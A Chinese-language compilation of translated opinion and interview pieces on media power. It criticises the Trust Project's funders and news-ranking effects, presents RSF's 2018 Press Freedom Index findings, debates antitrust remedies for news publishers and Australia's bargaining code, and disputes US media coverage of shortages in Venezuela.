Richard Gingras 在2017年的一份声明中指出，“这些指标可以帮助我们的算法更好地理解权威新闻 —— 并帮助我们更好地向消费者展示权威。”

因此，非常清楚的是，这些仅包含在“合格”和“权威”新闻网站中的指标将用于倾斜搜索引擎和社交媒体新闻算法，以偏重体制内新闻网站。

最重要的是，这些嵌入式和独家指标允许某些新闻媒体避免近期算法变化的破坏性影响，包括 MintPress 在内的许多新闻网站的流量近年

来一直在急剧下降。

通过使独立媒体竞争者挨饿，而实现在线新闻环境的同质化，只有能与 **Trust Project** 合作的企业媒体才有出路。

Trust Project 背后的技术亿万富翁

「图」

鉴于 Trust Project 对在线新闻领域的影响越来越丰富，发现它的资金来自于富人和政府、以及在线控制新闻和信息流动的明显受益者，这并不奇怪。

根据其网站，该项目目前获得了 Craig Newmark 慈善事业、谷歌、Facebook、eBay创始人皮埃尔奥米迪亚的民主基金、奈特基金会和马库拉基金会的资助。

该项目的网站还指出谷歌是“早期的财政支持者”，最初由 Craigslist 的创始人Craig Newmark资助。如前所述，**Trust Project** 的联合创始人是现任 **Google** 新闻副总裁 **Richard Gingras**。

Trust Project 的网站描述了 Gingras 目前在该组织中扮演“强大的传播者”的角色；Newmark 目前在该项目中的角色被描述为“资助者和有价值的连接者”。*Google VP Richard Gingras testifies at a British Committee Hearing on “Fake News”*

Newmark 目前正在与 Vivian Schiller 一起担任媒体投资的“战略顾问”。Schiller 是外交关系委员会的成员，曾担任 Twitter 新闻主管，以及 NPR、CNN、纽约时报和 NBC 新闻等知名主流媒体的资深人士。她还是拥有卫报的 Scott Trust 公司的董事。

Markkula 基金会是 Trust Project 的主要资助者之一，对该组织施加了相当大的影响力，该中心最初孵化了该组织，其新闻领导委员会在 Trust Project 中发挥了重要作用。

该委员会的成员包括 Facebook、华尔街日报、华盛顿邮报、金融时报和谷歌的代表。

Markkula 基金会和 Markkula 应用伦理中心均由 Apple 前首席执行官 “Mike”Markkula 创立。

Markkula 中心的新闻道德计划目前由 Subramaniam Vincent 领导，

他是英特尔和思科系统的前软件工程师和顾问，他致力于将大数据与当地新闻相结合，对新闻进行分类。

John S.和奈特基金会是 Trust Project 的另一个有趣的资助者，因为他们也是 Newsguard 的主要投资者，**Newsguard** 是一个有争议的、偏见的新闻评级系统，与政府内部人士和政府宣传人员有着深刻联系。

Newsguard 与 **Trust Project** 之间存在相当大的重叠。并且，根据去年发布的一份新闻稿，成为 Trust Project 的参与者是 Newsguard “支持积极评价”的一个因素。

之前的 MintPress 的曝光揭示了 Newsguard 的众多利益冲突和评级系统强烈偏向于主流媒体媒体 —— 即使这些网点在政治宣传方面有着可疑的记录。*Jeff Bezos and Pierre Omidyar*

在反对独立媒体的战争中熟悉的面孔

「图」

民主基金是 Trust Project 的另一个最大资助者，是由 eBay 创始人和 PayPal 所有者奥米迪亚于2011年建立的。

该基金的国家咨询委员会包括前布什和奥巴马政府官员、以及 **Facebook**、微软、**NBC**新闻、**ABC**新闻、和 **Gizmodo Media** 集团的代表。

民主基金参与 Trust Project 是值得注意的，因为它资助的其他媒体项目，如新保守派媒体帝国 Bill Kristol，他在伊拉克战争等外交政策立场方面的谎言历史悠久。

Omidyar 的民主基金会为 Kristol 提供财政支持，并支持 Kristol 的 ASD，这是德国马歇尔基金会智囊团的一个项目，以其神秘的 Hamilton68 而闻名。（在这里看到 Hamilton68 是什么东西《伪劣报道和有目的的政治宣传如何扭曲了现实政治》）

并且，Kristol 的新出版物 The Bulwark 的联合创始人兼编辑 Charles Sykes 是该基金的国家咨询委员会成员。

在德国马歇尔基金会工作的 Kristol 的助手 Jamie Fly 去年10月表示，他们对以批评帝国和警察暴力而闻名的独立媒体的清洗只是“刚

刚开始”。

Omidyar 也是有争议的反诽谤联盟（ADL）努力成为硅谷科技巨头审查网点关键驱动因素的主要支持者。

ADL 最初成立的目的是“阻止对犹太人民的诽谤”，但批评人士说，多年来它已经开始将以色列政府的批评者称为“反犹”。

鉴于 Trust Project 与 ADL 共享一个关键资助者（Pierre Omidyar）和多个外部技术合作伙伴这一事实，谷歌和 Facebook 等主要科技公司如何在其算法中使用信任指标、以及 ADL 对这些相同算法的影响之间是否存在重叠，仍有待观察。

然而，很清楚的是，由于为 Trust Project 提供种子基金并继续为其提供资金的 Craig Newmark 也是 ADL 的主要捐助者和顾问，因此存在无可否认的重叠。

2017年，Newmark 向 ADL 的事件响应中心捐赠了10万美元，并且是该集团技术顾问委员会的成员。

外包审查

「图」

当然，Trust Project 中最有趣和令人不安的捐赠者是谷歌和 Facebook，他们都使用他们资助的项目作为“第三方”来证明他们操纵新闻源和搜索引擎算法的合理性。

Facebook 在改变算法方面的其他合作伙伴包括大西洋理事会 —— 由美国政府、北约和武器制造商等资助 —— 而且 Facebook 也直接与外国政府合作，如以色列政府，以压制有关政府希望从社交媒体平台中删除的真实信息。

Trust Project 特别突出了“私人”审查制度、技术寡头审查制度、和政府审查制度之间的模糊性。

- 《谷歌的政治背景》、《Facebook 的政治背景》

Pierre Omidyar 也一样。他与军事工业综合体和情报部门关系密切。Bezos 的公司亚马逊则是全球最大的间谍机构的主要承包商。

这种与科技寡头、主流媒体和政府不断增长的关系表明，这些实体的

利益越来越相似和互补，其中包括对独立记者和新闻媒体的审查，这些新闻媒体一直在试图挑战主流权力和叙述。

Trust Project 的创建是一种外包审查独立新闻网站的方式，同时试图挽救主流媒体破碎的声誉，令其重新主导叙事。

Trust Project 在参与网站中开发的隐藏算法改变代码表明，其真正的目标不是提高公信力，而是为硅谷审查独立媒体渠道提供独特的外观，这些独立媒体对权力说真话。〇

The Trust Project: Big Media and Silicon Valley's Weaponized Algorithms Silence Dissent

原文

强权能杀死记者，但无法杀死新闻 —— 2018 新报告出台，为什么全球新闻自由指数仍在下降？ - iYouPort

关于真实的“媒体”-真相衰变

编者按：在半年前经济学人发表显示全球新闻自由指数下降的报告之后，我们做了一篇长文，对此进行了细致的分析，您可以在这里找到这篇文章。通过对这篇访谈的翻译，我们发现，我们曾经分析到的那些问题依旧存在，并且继续呈现恶化趋势。

被审查、被迫害、甚至被杀戮的记者，他们是真正揭露了权力之阴暗的媒体人 - 真正尽到了传媒职能的人，这就是为什么他们处于最危险的前沿，也是为什么新闻自由指数下跌与全球民主指数下跌完全同步。

中文有句俗语：杀死报晓的公鸡也无法阻止天亮。和 RSF 一样，我们很高兴地看到，杀戮记者的恐怖气氛并没有至少没能彻底阻挡对暴行反抗，勇敢者正前赴后继，延续揭露真相的工作。就如我们为这篇文章所拟的标题：“强权能杀死记者，但无法杀死新闻”。这是反抗者们激动人心的勇气，是民主的希望。

RSF 的访谈中还揭示了一个我们曾经的文章中没能详细分析过的问题，那就是调查记者在数字技术方面的安全意识（这里有一个近期发生的极具标志性的案件，和针对性分析）。

社交媒体的崛起基本已经完成，而与此同时，由于新闻界工作者高度依赖这一新媒介以辅助工作，同时也因此遭遇了前所未有的危险 - 对记者针对性袭击的前提是身份确认，确认性信息恰恰很容易来自社交媒体。

社交媒体为新闻界提供便利的同时，也将记者的行踪和真实身份曝光出来了。一些事实显示，对加密技术的使用、对安全通讯的强调，似乎依然不够充分。我们不能接受再一次的谋杀事件发生以“促进”同行、举报人以及广大互联网用户对安全问题的警惕。我们需要现在就

开始，普及这些知识，让更多人知道它的重要性。

中国没有杀戮记者的案件，但并不意味着危险在中国不存在。绝不是。作为持续呈现黑色的全球新闻自由指数排名最低国家之一，广大中国记者所面对的危险实际上非常之高，包括那些已经习惯于自我审查的记者。之所以这个国家尚未出现谋杀记者事件，不过是因为中国几乎没有真正意义上的调查性新闻记者，那些能用笔撼动权力关系的人，能令权力辗转反侧的人。加之，在中国社会非常明显的恐惧传染性，针对记者的迫害事件所引发的寒蝉效应，将严重过其他任何国家。很难期待在中国看到“前赴后继”的景观。也因此，中国当局对媒体行业并没有太过担忧。

但这绝不是故事的结束。随着中国社会正在有更多人开始学习到如何做一个公民，如何尽到公民义务，我们应该对中国传媒业的未来抱有信心。我们相信，在那些被苛刻的审查制度和恐怖气氛所压制的新闻人中，专业性并没有被磨损殆尽，它将在一些恰当的时候被发挥出来，令世界刮目相看。

民主不是终极目的，相反，民主意味着一个新的开始，意味着需要所有人更加倍的努力，才能维持民主的稳定运转。新闻业作为民主的支柱，在此需要肩负更多的责任。我们希望有越来越多具备较高专业性的新闻人涌现，全球专业媒体联合起来，以挽救民主的衰退。

我们的努力将在明年的新闻自由指数报告中被呈现。

「图」

2018 Press Freedom Index: Documenting the Decline of Democracy

BY DINA YAZDANI AND REBECCA VINCENT • JUNE 26, 2018

无国界记者组织（RSF）最近发布了2018年新闻自由指数调查报告，记录了全球新闻自由度持续下降的趋势。报告表明，记者正在日益恶劣的环境中工作，无论是在叙利亚和也门等饱受战争蹂躏的国家，还是在像俄罗斯和土耳其这样的专制国家，甚至在像美国或英国这样的民主国家之下，状况都是同样的恶劣。新闻自由度总体在下降。

仅在去年全球就目睹了欧洲记者被暗杀的惊人事件，这些地区往往被视为新闻自由的摇篮。调查记者 Daphne Carauna Galizia 于2017年10月在马耳他被暗杀; 四个月后，JánKuciak 在斯洛伐克和女友一起被枪杀。

欧洲各国的政治领导人试图通过将揭露其自身的腐败和侵犯人权行为的报道谴责为“外国宣传”，来破坏新闻合法性。与此同时他们将自己国家赞助的媒体作为唯一可靠的新闻来源，将喉舌 - 不可信任的说谎者 - 赋予新闻的概念。这些国家的公民正在失去获得诚实、可靠新闻的机会，而不得不依靠政府喉舌。

虽然这种对媒体的仇恨可能是欧洲的一种新趋势，但欧洲并不是特例。特朗普在美国的优越地位和他不断将批评性媒体指责为“假新闻”而使国家政治两极分化。对新闻媒体的信任度低到令人沮丧的地步，人们转而将虚假新闻作为他们的主要信息来源。

中东仍然是记者工作的最危险地区，而中国遏制本国独立媒体的努力已经在亚太地区其他国家引起了高度关注。然而，随着过去一年来发生的独裁政权的崩溃和民主领袖的选举，西非和南非的记者生存状况正在改善。

RSF 指数提醒人们注意，民主国家的垮台并非总是立即出现的，不是由暴力军事政变引起的。相反，随着时间的推移，政治自由度会慢慢恶化。正如新闻自由是民主的根基一样，对新闻的压制和审查是民主恶化最为明显的体现，这可能会破坏整个体系。

Fair Observer 与英国记者无国界组织领导人 Rebecca Vincent 就全球新闻自由的状况进行了交谈。

Dina Yazdani：RSF 新闻自由指数调查是什么？

Rebecca Vincent: 这是我们评估 180 个国家新闻自由方面表现的一种方式。自 2002 年以来，我们一直在推出这个指数，对这 180个国家进行排名和评分。它是根据发送给各国专家小组的一系列调查问卷编制而成的，因此这是一个真正以数据为导向的流程，需要整整一年才能编制完成。今年的调查共有 117 个问题，重点关注评估任何国家新闻自由气氛的七个不同指标 - 多元化、媒体独立性、环境、自我审查、立法框架、透明度和权力滥用问题。

Dina Yazdani：今年的指数和去年相比有什么变化吗？

Rebecca Vincent: 很不幸，我们逐年看到的是新闻自由的全球性衰落。值得注意的是，2016 年全球分数显著下降，并且自那时以来一直没有恢复的迹象。你可以一目了然地看到各国情况的比较，虽然实质性的恶化不是立即可见的 - 但每个国家都在变得更糟。即使在我们认为的最佳表现者中，也同样看到了这种恶化，这真的很关键。今年

前五名的是挪威，瑞典，荷兰，芬兰和瑞士。排名最低的五个 - 我们在相对排名方面没有看到任何变化，但他们的分数也变得更糟 - 是中国，叙利亚，土库曼斯坦，厄立特里亚和朝鲜。

有一张指数附带的地图。在我们的网站上，您可以看到显示排名以及不同国家分数的索引。根据一个国家的表现使用不同颜色进行标记，最好的表现者用白色标出，黄色表示满意，橙色表示有明显的问题，红色表示更困难的情况，黑色表示严重违反新闻自由。有更多的国家正在陷入黑色区域。今年伊拉克也加入进来了。

Dina Yazdani：你说 RSF 在 2016 年开始注意到这种下降趋势。当年发生了什么，导致我们目前仍在看到这种整体下降？

Vincent: 我们去年真正注意到了民主国家的新闻自由度下降。在新闻自由方面被视为标准制定者的国家已经黯然失色。特别是在美国总统选举和英国的欧盟公投中，我们看到了对媒体的明显敌意。今年美国的分数再次下滑 - 现在在180个国家中排名第 45。英国排到了40 名左右，但正如我所说，这不绝是我们应该引以为傲的。

这样的得分在英国出现绝不是你所期望的，这个国家，长期以来一直是标准的制定者，尤其是涉及到人权和基本自由时。现在该国排名处于 Trinidad 和 Tobago and Burkina Faso 之间，也就是在西欧表现最差的国家之一之间。我们在该地区只稍高于意大利。尽管英国没有显著下降，但我们真的希望能够扭转这种负面趋势，而不是稳定在一个糟糕的排名位置上。

Yazdani: 早些时候你提到，表现最佳的国家并没有做得更好。你会说新闻自由总体上正在下降吗？例如挪威和瑞典，可能继续是新闻自由最具保护性的国家，但是它们是否也受到了全球衰退的负面影响？

Vincent: 是的他们是。值得注意的是，今年我们观察到的地区趋势是，尊重自由最多的地区，即欧洲，今年的下降幅度最大。在经历最严重下跌的五个国家中最为显著的是马耳他，这个国家下降了 18 级，达到 65 位，主要原因是去年 10 月暗杀记者 Daphne Caruana Galizia 事件的发生。捷克共和国下降了 11 个名达到 34 位。我们要强调的是，2017 年 10 月，Milos Zeman 总统挥舞着一个虚假的 Kalashnikov 冲锋枪，上面写着“给记者的”，这一惊人的画面真正突出了他对新闻界的态度。塞尔维亚也下降了 10 个位置到 76 名，斯洛伐克下降 10 个位置到 27 名。因此，虽然欧洲的表现仍然优于其他地区，但今年的严重下滑是确实的，我们必需考虑这是为什么，并解决这些根本性问题。

Yazdani: 这是一个严峻的画面。从你最初的分析来看，欧洲新闻自由遭到侵蚀的背后是什么？作为新闻界安全运作的区域之一的欧洲。

Vincent: 我认为这是我们今年注意到的全球趋势的一部分，这是对记者的敌意增加的气氛。所以这不再局限于像土耳其和埃及这样的专制国家。可能是由于民主选举产生的更多领导人认为媒体是对手而不是民主基础的一部分。特朗普就是这样一个典型例子：他真的是一个媒体狂热爱好者。他利用斯大林的“人民之敌”的标签来袭击记者。我们看到这对其他国家所造成的影响。他这些话有意义，煽动针对记者的行动，这真是太令人震惊了。

Yazdani: 你是说，不仅 RSF 称之为“掠夺者”的总统，还是专制领导人加剧了敌对气候，都是新闻界普遍认为在公众中发生了变化的原因吗？在社会层面，这种“媒体恐惧症”是否也在增长？

Vincent: 绝对是。我认为这是一个恶性循环。我们在许多国家看到对媒体的敌对态度正在削弱公众对媒体的信任，并加剧了一些国家言论自由的恶化。美国的情况确实如此; 在英国，我会说这个程度相对上较低。我们没有特朗普那样的避雷针总统，就是我在这里所称的公职人员的敌对态度，这当然没有帮助。

> **We are seeing threats for a possible new Espionage Act that could make it really easily to label journalists as spies, which could lead to possible prison sentences up to 14 years simply for obtaining leaked information.**

Yazdani: 所以在欧洲，特别是在中欧和维谢格拉德集团四国，你认为我们在那里见证的民族主义浪潮上涨和整体排名下降之间有联系吗？

Vincent: 是的，我想说，在一些中欧国家可能就是这种情况。西欧的情况并不如此 - 排名是由于其他原因。例如，在英国，我强调了我在其他西欧国家所了解到的问题，有时我们在新闻自由中看到的违反原则行为是以“国家安全”的名义进行的，以一个宽泛的概念为借口，拒绝保护这种基本自由。在英国这边，我已经发出了与监视有关的警告。我们已经通过了“调查权力法案”，这是英国历史上最极端的监督立法，我们对记者的关注是，在这项立法中没有为他们建立足够的保护机制。

我们已经看到可能出现《新反间谍法》的威胁，这可能会使记者很容易被标记为间谍，从而导致的监禁刑期长达**14**年！仅仅是为了获取泄

露的信息 —— 揭露权力隐藏的恶行是媒体的基本职能（谁还记得这一职能？）。这简直令人震惊。这已经不是草拟立法，而是法律委员会去年提出的一项建议。

我们也看到了对诸如 "WhatsApp" 这样的加密通讯工具采取禁止态度的威胁 - 这些工具是记者能够完成工作所必需的工具。我知道西欧一些其他国家也出现了类似的情况，所以我们确实需要确保对新闻自由的保护，这至关重要，

因为新闻自由才能让所有人变得更安全，而诸如“反间谍法”这类法律只能保证当权者自己的安全，而将人民置于危险的境地。

Yazdani: 你提到了记者使用的 WhatsApp 和其他安全通讯工具。在全球范围内，越来越多地使用社交媒体和通信应用程序在政府不断增长的媒体恐惧症和对记者的敌意越来越大的情况下，它们扮演什么角色？

Vincent: 我认为这些安全通讯应用有显著的贡献。一些政府当然不喜欢他们无法控制的社交媒体，或许他们想要的控制程度。我想说的是，社交媒体的使用也让越来越多的记者处于风险之中 - 我还可以补充说公民记者也一样。在一些针对新闻工作者的暴力案件中，即使是我们所见到的谋杀案，社交媒体也扮演着越来越重要的角色。我将回到 Daphne Caruana Galizia 被杀害的案例 - 尽管她是一位顽强坚定的调查记者，曾在巴拿马文件等大型报道中工作过 - 实际上她早已在马耳他因写作博客而闻名。与她的读者的更为直接的联系，使她面临了更大的风险。

例如，我们在墨西哥看到了一些记者被暗杀的案例，这些记者很可能因为在 **Facebook** 上发布了某些内容而被报复。因此，这绝对是新闻事业面临变化的表征，特别是专制领导人正在争先恐后地对此作出反应并通过各种手段加以控制，这一大局势下。

Yazdani: 为了保护世界各地的记者，可以采取什么样的措施？RSF 在这方面的作用是什么？

Vincent: 记者的安全已经成为我们全球首要的优先事项之一，因为在过去的十年里，我们已经看到近 800 名记者遇害。仅去年一年就有 65 起针对全世界记者工作的谋杀案。其中一个惊人的数字是，去年遇害的记者中有 **60**% 是被故意针对的; 另外 40% 在工作过程中遇害。其中很多人是调查性新闻的记者，他们致力于揭露腐败、侵犯人权和其他高风险事件有关的问题。

在这个数字内，我们也看到越来越多的女记者遇害。 **2017** 年，有**10**名女记者遇难，比前一年的死亡人数翻了一番。几乎所有去年遇害的女记者都是被非常针对性的。对记者进行更多人身攻击（特别是对调查记者）显然会出现这种趋势，他们正在努力揭开强权想要隐藏的真相。

我们正在努力应对这种威胁的方式之一是，正在倡导为记者的安全创建一个联合国特别代表。这是我们几年来一直领导这场运动的关键部分，而且最近法国总统埃马克龙赞同并在联合国大会的发言中呼吁创建这一任务时，它最近获得了更多的势头。有越来越多的国家支持，越来越多的国际人权组织、自由表达组织和媒体也在此支持。所以我们希望在不久的将来这将会实现。我们认为这个问题如此重要，以至于它在联合国的角色值得特别的关注。现在有一个关于言论自由的授权，但它确实太过宽泛了。

Yazdani: 你提到新闻业越来越多的死亡人数。叙利亚等冲突地区的记者呢？报道工作发生了怎样的变化，这是否与越来越多的记者遇害有关？

Vincent: 实际上我会强调，去年是战地记者在相当一段时间内致命率最低的一年。所以即使这些数字不好，它仍然不那么致命。这并不意味着情况有所改善。部分原因是我们认为对记者安全问题的关注度应该更高。由于像我们这样的运动，已经看到了一些联合国决议，并且人们越来越意识到问题的迫切性，并且更加关心那些被派往危险地方的记者。所以这是一个积极的趋势。

另一方面，我们看到前往最危险地区的记者正越来越少，当地记者也不得不逃离这些地区。所以这是死亡率下降的一部分原因。叙利亚去年仍然是记者最致命的国家 - 仅仅领先于墨西哥。

Yazdani: RSF 是否注意到有可能在 2019 年排名下降国家呢？那些状况有可能好转的国家呢？

Vincent: 我们一直在寻找这两者。我们的工作始终考虑到重点国家。那些往往是表现最令人担忧的国家。突然发生的事件往往揭示了更为广泛的对新闻自由的侵蚀气候，可能在我们还没有意识到之前就存在了。马耳他就是一个很好的例子，Daphne Caruana Galizia 的谋杀案令该国受到关注。很多人在此事发生之前没有意识到谋杀气候的存在。这是不可想象的 - 一名调查记者在欧盟国家光天化日之下被谋杀。但不幸的是，现在这种恐怖气氛似乎正在成为欧洲的趋势。

因此，我们正在寻找那些具有类似恐怖气候的国家，这些国家可能会产生如此恐怖的袭击，以便查看从 Daphne 这样的袭击案中可以吸取哪些教训，并总结是否可以在其他地方加以防范。值得注意的是，在 Caruana Galizia 被杀之后不到五个月，就出现了第二个欧盟国家的记者被谋杀 - 在斯洛伐克的 JánKuciak。还有一些其他威胁和企图性攻击在出现。例如一位调查记者5月份在黑山被枪杀，虽然是在欧盟之外。她活了下来，但这种针对记者的暴行已经成为一种增长的趋势。

Yazdani: 有没有一些国家能让你对此感觉乐观？

Vincent: 此前韩国的排名曾大幅下跌 30 个位置。今年有所改善，已上涨 20 位，达到 43 位。这真的是在文在寅管理下发生的事。基本上，政府的变化已经表明了一些积极的政治意愿来解决那里的问题。但是一些结构性的问题依然存在。比如审查，在韩国几乎是政府传统。

今年冈比亚也有所改善。指数上涨了 21 位，至 122。那里的新总统承诺了限制较少的媒体法，并将言论自由纳入宪法。商业广播媒体已经启动，印刷媒体不再担心批评政府。厄瓜多尔也有所改善，今年该指数上涨 13 位至 92 位。 2017 年5月，新总统 LenínMoreno 当选，扩散了政府和私营媒体之间的紧张关系。所以有些时候，在这些问题根深蒂固的国家，领导层的变化确实能够确定一些基调 —— 那么对独立调查记者 **Julian Assange** 的噤声该如何解释？**Assange** 已经获得了厄瓜多尔公民身份，**Lenin** 在此案中对美国的马首是瞻已经受到全球谴责。

Yazdani: 我希望我们可以开始在美国进行这种谈话，如果目前的下降趋势已经对当前政府产生了任何影响的话。

Vincent: 这些谈话正在美国进行。它确实刺激了美国的独立媒体，而言论自由社区真的已经团结在一起工作。我们在美国的办公室正在开展一项新闻自由追踪系统，该系统记录了美国的情况 - 拘留的记者人数、被检获设备和其他物品的人数、以及在新闻自由方面的其他违规情况。我们的美国办事处正在每周对新闻侵权行为进行综合报道，值得关注。不幸的是，到目前为止，这还没有转化为解决这些非常严重问题的政策决定，特朗普政府对媒体的抨击正在助长灾难的延续，而不是对恶劣局势的帮助。

Yazdani: 你对有抱负的新闻媒体和记者有何看法，他们也认同新闻界日益增长的敌对气氛？他们应该因此气馁吗？

Vincent: 他们肯定需要意识到风险。一线工作者希望能真正认识到独立的必需，独立是高质量新闻工作的保障。我希望这些认识能鼓励记者坚持下去，并确保他们尽可能安全地工作，必需知道，他们正在做的事情至关重要 - 要求政府负责以保护民主。

涉及腐败事件的调查记者所面对的风险正在增加，这是有原因的。因为媒体工作已经产生了影响，特别是通过诸如巴拿马文件等协作调查的工作。强权正在做出反应，因此现在存在更多的危险，他们知道这些报道会产生直接影响。这恰恰使得讲述这些故事比以往任何时候都更加重要。

协作也很重要。我们受到更多协作努力的鼓舞。例如，Daphne 案项目最近已经启动。这很棒，因为它表明，尽管强权可能会杀死信使，但他们不能杀死报道。我认为继续这项工作是非常重要的，并对那些继续工作的人提供保护。

原文

澳大利亚对战硅谷的战略方向是对的，只是做得还不够 - iyouport

关于真实的“媒体”-真相衰变

澳大利亚也只能如此了，因为那些巨头不是澳大利亚公司。但美国不然。问题只是在于，美国真的想要解决问题吗？

网上有些东西早已腐烂了。Facebook 和谷歌主导了在线广告市场，耗尽了任何其他依赖数字内容维生的公司所需的资源。对于新闻媒体来说，一个日益数字化的世界加之谷歌和 Facebook 对在线广告收入的虹吸是灾难性的。遗憾的是，给予新闻媒体反垄断豁免权，让其作为一个群体去与 Facebook 和谷歌讨价还价，并不会成为让新闻媒体回到原点的时光机。

3月，美国众议院司法委员会举行了一场名为 “重振竞争，拯救自由和多样化的新闻” 的听证会。听证会上发生了很多事，很多话题都是关于日益集中化的媒体生态系统本身所面临的非常现实的问题，或者说，与小型媒体、本地新闻和独立新闻的死亡，完全无关。

抛开这些弯弯绕绕，那场听证会真正的主题是《新闻业竞争与保护法》，该法将给予出版商和广播公司反垄断法的豁免权，允许他们组成统一的集团与科技巨头谈判。这个想法是，新闻媒体正在挣扎——现在时态；这个问题是，新闻媒体很挣扎—— 过去时态。

允许这种豁免并不能让那些被关闭的报纸、被裁员的记者重获新生，也不能解除在此期间发生的媒体合并。

在听证会上，有人认为，这是一条生命线，在对法律进行更多实质性修改的同时，可以让新闻媒体继续生存下去 —— 这些修改将削弱科技巨头公司的权力。另一个论点是，这种豁免将通过提供一条盈利之路来振兴地方媒体。还有人说，这种豁免是有时间限制的，只能适用于某些小型出版商。

但是，这样的豁免并没有回答记者应该从哪里获得启动资金，以建立新的网点来取代已经消失的网点的问题。它也不能回答谁来谈判的问题，因为现在的小出版社太少了。它没有回答为什么对冲基金、私募股权食尸鬼和媒体巨头近乎垄断者应该从这个新的豁免中获益的问题，因为他们已经从科技巨头公司的广告收购中获益了，以低廉的价格抢购并挖走小型新闻媒体。它也并没有提出一种方法来阻止这些公司将在这一豁免下谈判的任何东西作为自己谈判的跳板。

澳大利亚模式

「图」

在这次听证会上多次提到的是最近来自澳大利亚的热门新闻，谷歌和 Facebook 与新闻集团的主场对决，新闻集团是默多克帝国，它还控制着福克斯新闻、天空新闻和许多国家的主要报纸。从中我们可以得到重要的教训。

首先，我们要诚实地看待媒体的现状。新闻是重要的，是的。它是一种公共产品。记者们在做一些他们觉得应该做的事。然而，现在真正小规模的、独立的媒体运作非常少。而就某些公司而言，比如默多克家族或索尔兹伯格家族所拥有的巨头公司，如果认为他们的弊端就是这个行业的弊端、或者认为迎合他们的需求会涓滴不漏地影响到新闻生态系统的其他所有部分，那就大错特错了。

澳大利亚法律背后的根本创新在于，它将让谷歌和 Facebook（明确地）向媒体机构提供直接的收入渠道，媒体机构可以进行集体谈判，为科技公司使用其材料设定费率。这些机构将包括地方媒体、小型媒体和非营利性媒体，以及巨头媒体，关于对待所有新闻服务（包括不在谈判范围内的新闻服务）的规则。

这种方法的挑战甚至在其成为法律之前就已开始了。Alphabet 与默多克达成了自己的交易；Facebook 将澳大利亚的每一个新闻网站都从其服务中关闭了（笨拙地）以示 “抗议”。

澳大利亚的提案并不像欧盟的 “链接税” 计划那样糟糕，该计划明确地将对新闻媒体的援助与版权扩张主义观点挂钩。试图利用版权来对抗科技巨头同时做到不会伤害这些巨头，他们只是设置了过滤器，但也确实使其他人更难正确引用旧的报道或建立和评论世界各地发生的事件。

但它也在努力解决类似的问题：这些公司似乎仍然可以将大玩家和小

玩家分开。而最终，真正的执行力依赖于巨头科技公司需要外部新闻服务来盈利。科技巨头的盈利中心不是 “偷” 新闻媒体的内容：而是偷其广告。欧洲的谷歌、澳大利亚的 Facebook 愿意也能够直接拒绝托管新闻媒体，就说明了这一点。而在这种模式下，解决这种不对称性的唯一办法（正如欧盟最终认定的那样），就是强制科技巨头承载特定公司的新闻 —— 这就提出了关于强制言论、自由表达和市场监管的更广泛问题。

该法案确实有一些美国立法中缺少的想法。关于巨头公司如何选择推广和排名新闻故事的透明度的呼吁是我们所赞同的。禁止利用算法来报复那些试图避开其服务或避免向巨头科技公司交纳收入的公司，也是一个明智之举。 但是，归根结底，澳大利亚是想通过冻结这个问题来解决这个问题。

现在，各种媒体都感觉到了对科技巨头的依赖。只不过这种依赖的后果之一就是，当媒体想从科技巨头那里抢回一些广告收入时，两者之间的讨价还价地位严重不平衡。澳大利亚的法律解决了这个问题，而代价是让媒体可以明确地、法定地依赖 Facebook 和谷歌。它把两个垄断性的市场在法律中捆绑在一起了，一个虚假的 “交易” 围绕着一个不正确的假设展开，即 科技巨头通过从现有媒体中抽走珍贵的新闻片段而获利。

美国不应该指望澳大利亚模式来解决问题—— 主要是因为澳大利亚缺乏美国所拥有的一个令人信服的解决方案。澳大利亚政府认定新闻的危机来自于垄断行为，但不能采取明显的步骤打破垄断—— 至少在技术方面—— 因为这些巨头公司的总部都在其他地方。当然，它们的总部都在美国，在那里，它们可以、也应必需被当作垄断企业来处理，让其权力和范围大大缩小。

应该做什么

「图」

现在的记者之间有相当多的黑色幽默。有人开玩笑说，每个人都会为 BuzzPostTimes 或 GoogBook 工作（前者讽刺新闻业的垄断集团，后者讽刺巨头科技公司的垄断）；还有人开玩笑说，新闻通讯只是臭名昭著的 “转向视频” 的最新迭代，它使许多公司倒下（这就是 Facebook 干的）。有一些大胆的实验，但是，应该指出的是，他们往往是在 Facebook 和谷歌的广告领域之外的操作，这是该法案的目标。报纸从分类广告和广告中捞钱的日子显然已经结束了。这个豁免并不能解决这个问题。而且它甚至没有在最需要的地方抛出一条生命

线。

媒体整合正达到顶峰。正如科技巨头的力量。即使是作为一个更大的方案的一部分，这个提案也不会起到应有的作用。相反，美国应该把注意力集中在对急需的反垄断法进行全面修改上。想出如何遏制这些寡头垄断者的权力。不仅仅是把它们打散，还要考虑怎样的法规才能防止这种情况再次发生。（见《技术巨头不是烟草巨头，至少不仅仅是》）

想出如何在本世纪帮助新闻媒体，而不是试图让它们回到上个世纪。○

An Antitrust Exemption for News Media Won’t Take Us Back to the Time Before Big Tech

原文

熟悉的谎言 - iYouPort

关于真实的“媒体”-真相衰变地缘政治

美国主流媒体再次错误的报道其他国家的状况，这次可能不只有“想得太简单”这么简单了。以下是 truthdig 对主流媒体错误报道的分析。

我正坐在委内瑞拉加拉加斯的公寓里，阅读“时代”杂志的网络版（2016年5月19日），报道中说在委内瑞拉的任何地方都没有像阿司匹林那样基本的东西：“基本药物就如阿司匹林根本无处可寻。“

我走出公寓到最近的药店，四个街区外，在那里我找到了大量的阿司匹林，以及对乙酰氨基酚和布洛芬，在一个储备丰富的药房里，有一个知识渊博的专业人员负责帮助购物者。

在“时代”的报道发布了几天之后，另一家主要企业媒体CNBC（6/22/16）声称在任何地方都没有发现对乙酰氨基酚，文章称：“像 Tylenol 这样的地方连基本生活物质甚至都没有。”这种说法一定让美国自己的著名制药公司辉瑞感到意外，因为它在委内瑞拉的子公司 Pfizer Venezuela SA 就生产了我购买到的对乙酰氨基酚（无论是时代作家 Ian Bremmer 还是 CNBC 评论员 Richard Washington，都没有证据表明他们中的任何一个人曾经去过委内瑞拉）

事实上，我自己不会相信任何人在没有能够出示证据的情况下提出这样的声称。当委内瑞拉青年管弦乐团于2016年初在纽约举办音乐会时，就在我搬到加拉加斯之前，我去了那里，当时在去之前我想的是，“我希望管弦乐队的成员都穿着得体、吃得饱。”是的当然，他们都穿得很好，吃饱了！

当我在佛蒙特大学的一次演讲中提到这一点时，一名学生告诉我，他在关注泛美足球锦标赛时也有同感。他想知道委内瑞拉球员是否能够参加比赛，因为所有主流媒体都告诉你该国的人因缺乏食物而变得如此虚弱。事实上，他说，委内瑞拉队的表现非常出色，而且在比赛中比预期更进一步，因为委内瑞拉历来是一个擅长体育运动的国家。

